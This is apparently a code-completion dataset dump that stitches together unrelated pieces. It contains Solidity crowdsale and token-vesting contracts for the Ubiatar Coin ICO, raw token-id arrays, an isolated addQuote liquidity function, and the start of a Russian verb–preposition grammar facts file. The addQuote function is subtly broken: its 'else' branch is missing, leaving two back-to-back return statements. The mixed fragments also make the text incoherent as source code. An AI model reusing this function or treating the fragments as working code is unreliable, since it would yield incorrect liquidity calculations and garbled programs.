* @return true If the transaction can buy tokens. */ function validPurchase() internal view returns (bool) { require(!paused && !capReached); require(block.timestamp >= start && block.timestamp <= end); return true; } /** * @dev Abstract function to mint tokens, to be implemented in the Crowdsale and Reservation contracts. * @param to The address that will receive the minted tokens. * @param amount The amount of tokens to mint. */ function mintTokens(address to, uint256 amount) private; } //File: src/contracts/ico/Reservation.sol /** * @title Reservation * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.19; contract Reservation is CrowdsaleBase { /*** CONSTANTS ***/ uint256 public constant START_TIME = 1525683600; // 7 May 2018 09:00:00 GMT uint256 public constant END_TIME = 1525856400; // 9 May 2018 09:00:00 GMT uint256 public constant RESERVATION_CAP = 7.5e6 * 1e18; uint256 public constant BONUS = 110; // 10% bonus UacCrowdsale public crowdsale; /** * @dev Constructor. * @notice Unsold tokens should add up to the crowdsale hard cap. * @param _wallet The address where funds should be transferred. * @param _kycSigners Array of the signers addresses required by the KYCBase constructor, provided by Eidoo. * See https://github.com/eidoo/icoengine */ function Reservation( address _wallet, address[] _kycSigners ) public CrowdsaleBase(START_TIME, END_TIME, RESERVATION_CAP, _wallet, _kycSigners) { } function setCrowdsale(address _crowdsale) public { require(crowdsale == address(0)); crowdsale = UacCrowdsale(_crowdsale); } /** * @dev Implements the price function from EidooEngineInterface. * @notice Calculates the price as tokens/ether based on the corresponding bonus. * @return Price as tokens/ether. */ function price() public view returns (uint256) { return tokenPerEth.mul(BONUS).div(1e2); } /** * @dev Fires the mintReservationTokens function on the crowdsale contract to mint the tokens being sold during the reservation phase. * This function is called by the releaseTokensTo function, as part of the KYCBase implementation. * @param to The address that will receive the minted tokens. * @param amount The amount of tokens to mint. */ function mintTokens(address to, uint256 amount) private { crowdsale.mintReservationTokens(to, amount); } } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/BasicToken.sol pragma solidity ^0.4.18; /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/StandardToken.sol pragma solidity ^0.4.18; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/MintableToken.sol pragma solidity ^0.4.18; /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/PausableToken.sol pragma solidity ^0.4.18; /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } //File: src/contracts/ico/UacToken.sol /** * @title Ubiatar Coin token * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.19; contract UacToken is CanReclaimToken, MintableToken, PausableToken { string public constant name = "Ubiatar Coin"; string public constant symbol = "UAC"; uint8 public constant decimals = 18; /** * @dev Constructor of UacToken that instantiates a new Mintable Pausable Token */ function UacToken() public { // token should not be transferrable until after all tokens have been issued paused = true; } } //File: src/contracts/ico/UbiatarPlayVault.sol /** * @title UbiatarPlayVault * @dev A token holder contract that allows the release of tokens to the UbiatarPlay Wallet. * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.19; contract UbiatarPlayVault { using SafeMath for uint256; using SafeERC20 for UacToken; uint256[6] public vesting_offsets = [ 90 days, 180 days, 270 days, 360 days, 540 days, 720 days ]; uint256[6] public vesting_amounts = [ 2e6 * 1e18, 4e6 * 1e18, 6e6 * 1e18, 8e6 * 1e18, 10e6 * 1e18, 20.5e6 * 1e18 ]; address public ubiatarPlayWallet; UacToken public token; uint256 public start; uint256 public released; /** * @dev Constructor. * @param _ubiatarPlayWallet The address that will receive the vested tokens. * @param _token The UAC Token, which is being vested. * @param _start The start time from which each release time will be calculated. */ function UbiatarPlayVault( address _ubiatarPlayWallet, address _token, uint256 _start ) public { ubiatarPlayWallet = _ubiatarPlayWallet; token = UacToken(_token); start = _start; } /** * @dev Transfers vested tokens to ubiatarPlayWallet. */ function release() public { uint256 unreleased = releasableAmount(); require(unreleased > 0); released = released.add(unreleased); token.safeTransfer(ubiatarPlayWallet, unreleased); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. */ function releasableAmount() public view returns (uint256) { return vestedAmount().sub(released); } /** * @dev Calculates the amount that has already vested. */ function vestedAmount() public view returns (uint256) { uint256 vested = 0; for (uint256 i = 0; i < vesting_offsets.length; i = i.add(1)) { if (block.timestamp > start.add(vesting_offsets[i])) { vested = vested.add(vesting_amounts[i]); } } return vested; } } //File: src/contracts/ico/UacCrowdsale.sol /** * @title UacCrowdsale * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.19; contract UacCrowdsale is CrowdsaleBase { /*** CONSTANTS ***/ uint256 public constant START_TIME = 1525856400; // 9 May 2018 09:00:00 GMT uint256 public constant END_TIME = 1528448400; // 8 June 2018 09:00:00 GMT uint256 public constant PRESALE_VAULT_START = END_TIME + 7 days; uint256 public constant PRESALE_CAP = 17584778551358900100698693; uint256 public constant TOTAL_MAX_CAP = 15e6 * 1e18; // Reservation plus main sale tokens uint256 public constant CROWDSALE_CAP = 7.5e6 * 1e18; uint256 public constant FOUNDERS_CAP = 12e6 * 1e18; uint256 public constant UBIATARPLAY_CAP = 50.5e6 * 1e18; uint256 public constant ADVISORS_CAP = 4915221448641099899301307; // Eidoo interface requires price as tokens/ether, therefore the discounts are presented as bonus tokens. uint256 public constant BONUS_TIER1 = 108; // 8% during first 3 hours uint256 public constant BONUS_TIER2 = 106; // 6% during next 9 hours uint256 public constant BONUS_TIER3 = 104; // 4% during next 30 hours uint256 public constant BONUS_DURATION_1 = 3 hours; uint256 public constant BONUS_DURATION_2 = 12 hours; uint256 public constant BONUS_DURATION_3 = 42 hours; uint256 public constant FOUNDERS_VESTING_CLIFF = 1 years; uint256 public constant FOUNDERS_VESTING_DURATION = 2 years; Reservation public reservation; // Vesting contracts. PresaleTokenVault public presaleTokenVault; TokenVesting public foundersVault; UbiatarPlayVault public ubiatarPlayVault; // Vesting wallets. address public foundersWallet; address public advisorsWallet; address public ubiatarPlayWallet; address public wallet; UacToken public token; // Lets owner manually end crowdsale. bool public didOwnerEndCrowdsale; /** * @dev Constructor. * @param _foundersWallet address Wallet holding founders tokens. * @param _advisorsWallet address Wallet holding advisors tokens. * @param _ubiatarPlayWallet address Wallet holding ubiatarPlay tokens. * @param _wallet The address where funds should be transferred. * @param _kycSigners Array of the signers addresses required by the KYCBase constructor, provided by Eidoo. * See https://github.com/eidoo/icoengine */ function UacCrowdsale( address _token, address _reservation, address _presaleTokenVault, address _foundersWallet, address _advisorsWallet, address _ubiatarPlayWallet, address _wallet, address[] _kycSigners ) public CrowdsaleBase(START_TIME, END_TIME, TOTAL_MAX_CAP, _wallet, _kycSigners) { token = UacToken(_token); reservation = Reservation(_reservation); presaleTokenVault = PresaleTokenVault(_presaleTokenVault); foundersWallet = _foundersWallet; advisorsWallet = _advisorsWallet; ubiatarPlayWallet = _ubiatarPlayWallet; wallet = _wallet; // Create founders vault contract foundersVault = new TokenVesting(foundersWallet, END_TIME, FOUNDERS_VESTING_CLIFF, FOUNDERS_VESTING_DURATION, false); // Create Ubiatar Play vault contract ubiatarPlayVault = new UbiatarPlayVault(ubiatarPlayWallet, address(token), END_TIME); } function mintPreAllocatedTokens() public onlyOwner { mintTokens(address(foundersVault), FOUNDERS_CAP); mintTokens(advisorsWallet, ADVISORS_CAP); mintTokens(address(ubiatarPlayVault), UBIATARPLAY_CAP); } /** * @dev Creates the presale vault contract. * @param beneficiaries Array of the presale investors addresses to whom vested tokens are transferred. * @param balances Array of token amount per beneficiary. */ function initPresaleTokenVault(address[] beneficiaries, uint256[] balances) public onlyOwner { require(beneficiaries.length == balances.length); presaleTokenVault.init(beneficiaries, balances, PRESALE_VAULT_START, token); uint256 totalPresaleBalance = 0; uint256 balancesLength = balances.length; for(uint256 i = 0; i < balancesLength; i++) { totalPresaleBalance = totalPresaleBalance.add(balances[i]); } mintTokens(presaleTokenVault, totalPresaleBalance); } /** * @dev Implements the price function from EidooEngineInterface. * @notice Calculates the price as tokens/ether based on the corresponding bonus bracket. * @return Price as tokens/ether. */ function price() public view returns (uint256 _price) { if (block.timestamp <= start.add(BONUS_DURATION_1)) { return tokenPerEth.mul(BONUS_TIER1).div(1e2); } else if (block.timestamp <= start.add(BONUS_DURATION_2)) { return tokenPerEth.mul(BONUS_TIER2).div(1e2); } else if (block.timestamp <= start.add(BONUS_DURATION_3)) { return tokenPerEth.mul(BONUS_TIER3).div(1e2); } return tokenPerEth; } /** * @dev Mints tokens being sold during the reservation phase, as part of the implementation of the releaseTokensTo function * from the KYCBase contract. * Also, updates tokensSold and availableTokens in the crowdsale contract. * @param to The address that will receive the minted tokens. * @param amount The amount of tokens to mint. */ function mintReservationTokens(address to, uint256 amount) public { require(msg.sender == address(reservation)); tokensSold = tokensSold.add(amount); availableTokens = availableTokens.sub(amount); mintTokens(to, amount); } /** * @dev Mints tokens being sold during the crowdsale phase as part of the implementation of releaseTokensTo function * from the KYCBase contract. * @param to The address that will receive the minted tokens. * @param amount The amount of tokens to mint. */ function mintTokens(address to, uint256 amount) private { token.mint(to, amount); } /** * @dev Allows the owner to close the crowdsale manually before the end time. */ function closeCrowdsale() public onlyOwner { require(block.timestamp >= START_TIME && block.timestamp < END_TIME); didOwnerEndCrowdsale = true; } /** * @dev Allows the owner to unpause tokens, stop minting and transfer ownership of the token contract. */ function finalise() public onlyOwner { require(didOwnerEndCrowdsale || block.timestamp > end || capReached); token.finishMinting(); token.unpause(); // Token contract extends CanReclaimToken so the owner can recover any ERC20 token received in this contract by mistake. // So far, the owner of the token contract is the crowdsale contract. // We transfer the ownership so the owner of the crowdsale is also the owner of the token. token.transferOwnership(owner); } } //File: src/contracts/ico/PresaleTokenVault.sol /** * @title PresaleTokenVault * @dev A token holder contract that allows multiple beneficiaries to extract their tokens after a given release time. * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.17; contract PresaleTokenVault { using SafeMath for uint256; using SafeERC20 for ERC20Basic; /*** CONSTANTS ***/ uint256 public constant VESTING_OFFSET = 90 days; // starting of vesting uint256 public constant VESTING_DURATION = 180 days; // duration of vesting uint256 public start; uint256 public cliff; uint256 public end; ERC20Basic public token; struct Investment { address beneficiary; uint256 totalBalance; uint256 released; } Investment[] public investments; // key: investor address; value: index in investments array. mapping(address => uint256) public investorLUT; function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public { // makes sure this function is only called once require(token == address(0)); require(beneficiaries.length == balances.length); start = startTime; cliff = start.add(VESTING_OFFSET); end = cliff.add(VESTING_DURATION); token = ERC20Basic(_token); for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) { investorLUT[beneficiaries[i]] = investments.length; investments.push(Investment(beneficiaries[i], balances[i], 0)); } } /** * @dev Allows a sender to transfer vested tokens to the beneficiary's address. * @param beneficiary The address that will receive the vested tokens. */ function release(address beneficiary) public { uint256 unreleased = releasableAmount(beneficiary); require(unreleased > 0); uint256 investmentIndex = investorLUT[beneficiary]; investments[investmentIndex].released = investments[investmentIndex].released.add(unreleased); token.safeTransfer(beneficiary, unreleased); } /** * @dev Transfers vested tokens to the sender's address. */ function release() public { release(msg.sender); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param beneficiary The address that will receive the vested tokens. */ function releasableAmount(address beneficiary) public view returns (uint256) { uint256 investmentIndex = investorLUT[beneficiary]; return vestedAmount(beneficiary).sub(investments[investmentIndex].released); } /** * @dev Calculates the amount that has already vested. * @param beneficiary The address that will receive the vested tokens. */ function vestedAmount(address beneficiary) public view returns (uint256) { uint256 investmentIndex = investorLUT[beneficiary]; uint256 vested = 0; if (block.timestamp >= start) { // after start -> 1/3 released (fixed) vested = investments[investmentIndex].totalBalance.div(3); } if (block.timestamp >= cliff && block.timestamp < end) { // after cliff -> linear vesting over time uint256 p1 = investments[investmentIndex].totalBalance.div(3); uint256 p2 = investments[investmentIndex].totalBalance; /* released amount: r 1/3: p1 all: p2 current time: t cliff: c end: e r = p1 + / d_time * time = p1 + (p2-p1) / (e-c) * (t-c) */ uint256 d_token = p2.sub(p1); uint256 time = block.timestamp.sub(cliff); uint256 d_time = end.sub(cliff); vested = vested.add(d_token.mul(time).div(d_time)); } if (block.timestamp >= end) { // after end -> all vested vested = investments[investmentIndex].totalBalance; } return vested; } }
ICOEngineInterface
uint256 public end;
1,317,264
[ 1, 2871, 51, 4410, 1358, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 679, 31, 4766, 7734, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x9d7BB476c40D1055771fCA982876b1E2A72B54F9/sources/BatonZapRouterV1.sol
@notice The amount of lp tokens received for adding a given amount of base tokens and fractional tokens. @dev Calculated as a share of existing deposits. If there are no existing deposits, then initializes to sqrt(baseTokenAmount * fractionalTokenAmount). @param baseTokenAmount The amount of base tokens to add. @param fractionalTokenAmount The amount of fractional tokens to add. @return lpTokenAmount The amount of lp tokens received. calculate amount of lp tokens as a fraction of existing reserves if there is no liquidity then init
function addQuote(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 lpTokenSupply) public view returns (uint256) { if (lpTokenSupply != 0) { uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves(); uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves(); return Math.min(baseTokenShare, fractionalTokenShare); return Math.sqrt(baseTokenAmount * fractionalTokenAmount) - MINIMUM_LIQUIDITY; } }
3,890,471
[ 1, 1986, 3844, 434, 12423, 2430, 5079, 364, 6534, 279, 864, 3844, 434, 1026, 2430, 471, 20462, 2430, 18, 225, 15994, 690, 487, 279, 7433, 434, 2062, 443, 917, 1282, 18, 971, 1915, 854, 1158, 2062, 443, 917, 1282, 16, 1508, 11643, 358, 1377, 5700, 12, 1969, 1345, 6275, 225, 20462, 1345, 6275, 2934, 225, 1026, 1345, 6275, 1021, 3844, 434, 1026, 2430, 358, 527, 18, 225, 20462, 1345, 6275, 1021, 3844, 434, 20462, 2430, 358, 527, 18, 327, 12423, 1345, 6275, 1021, 3844, 434, 12423, 2430, 5079, 18, 4604, 3844, 434, 12423, 2430, 487, 279, 8330, 434, 2062, 400, 264, 3324, 309, 1915, 353, 1158, 4501, 372, 24237, 1508, 1208, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 10257, 12, 11890, 5034, 1026, 1345, 6275, 16, 2254, 5034, 20462, 1345, 6275, 16, 2254, 5034, 12423, 1345, 3088, 1283, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 309, 261, 9953, 1345, 3088, 1283, 480, 374, 13, 288, 203, 5411, 2254, 5034, 1026, 1345, 9535, 273, 261, 1969, 1345, 6275, 380, 12423, 1345, 3088, 1283, 13, 342, 1026, 1345, 607, 264, 3324, 5621, 203, 5411, 2254, 5034, 20462, 1345, 9535, 273, 261, 16744, 287, 1345, 6275, 380, 12423, 1345, 3088, 1283, 13, 342, 20462, 1345, 607, 264, 3324, 5621, 203, 5411, 327, 2361, 18, 1154, 12, 1969, 1345, 9535, 16, 20462, 1345, 9535, 1769, 203, 5411, 327, 2361, 18, 24492, 12, 1969, 1345, 6275, 380, 20462, 1345, 6275, 13, 300, 6989, 18605, 67, 2053, 53, 3060, 4107, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Сочетаемость глаголов (и отглагольных частей речи) с предложным // паттерном. // LC->07.08.2018 facts гл_предл language=Russian { arity=3 //violation_score=-5 generic return=boolean } #define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{} #region Предлог_В // ------------------- С ПРЕДЛОГОМ 'В' --------------------------- #region Предложный // Глаголы и отглагольные части речи, присоединяющие // предложное дополнение с предлогом В и сущ. в предложном падеже. wordentry_set Гл_В_Предл = { rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль // вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб rus_verbs:воевать{}, // Воевал во Франции. rus_verbs:устать{}, // Устали в дороге? rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения. rus_verbs:решить{}, // Что решат в правительстве? rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает. rus_verbs:обстоять{}, // В действительности же дело обстояло не так. rus_verbs:подыматься{}, rus_verbs:поехать{}, // поедем в такси! rus_verbs:уехать{}, // он уехал в такси rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей rus_verbs:ОБЛАЧИТЬ{}, rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло. rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ) rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ) rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ) rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ) rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ) rus_verbs:ЗАМАЯЧИТЬ{}, rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ) rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ) rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ) rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ) rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ) rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ) rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ) rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ) rus_verbs:ПоТЕРЯТЬ{}, rus_verbs:УТЕРЯТЬ{}, rus_verbs:РАСТЕРЯТЬ{}, rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.) rus_verbs:СОМКНУТЬСЯ{}, rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ) rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ) rus_verbs:ВЫСТОЯТЬ{}, rus_verbs:ПОСТОЯТЬ{}, rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ) rus_verbs:ВЗВЕШИВАТЬ{}, rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ) прилагательное:быстрый{}, // Кисель быстр в приготовлении rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень rus_verbs:призывать{}, 